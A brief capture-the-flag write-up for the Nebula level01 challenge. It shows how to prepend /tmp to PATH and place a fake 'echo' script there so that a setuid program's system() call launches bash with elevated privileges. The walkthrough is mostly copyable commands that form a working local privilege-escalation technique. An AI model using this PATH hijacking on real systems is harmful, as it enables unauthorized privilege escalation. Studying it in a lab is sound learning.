This level deals with the Environmental variable “PATH”. By the code we understand that echo command is being executed in system. So let’s try modifying the environmental PATH.
level01@nebula:/home/flag01$export PATH=/tmp:$PATH
So in this it first looks in /tmp directory which we need. So here is main trick of the challenge. Let’s try make a symbolic link to /bin/bash with the dummy file in /tmp directory.
level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo
This didn’t work because “and” “now” “what?” are passed as arguments to the echo in system. So i thought of approaching in different way.
I wrote a shell script that will ignore arguments calls the “bash shell”.
level01@nebula:/home/flag01$ echo -e '/bin/bash' > /tmp/echo level01@nebula:/home/flag01$ chmod +x echo
And executed the file and that worked.. 🙂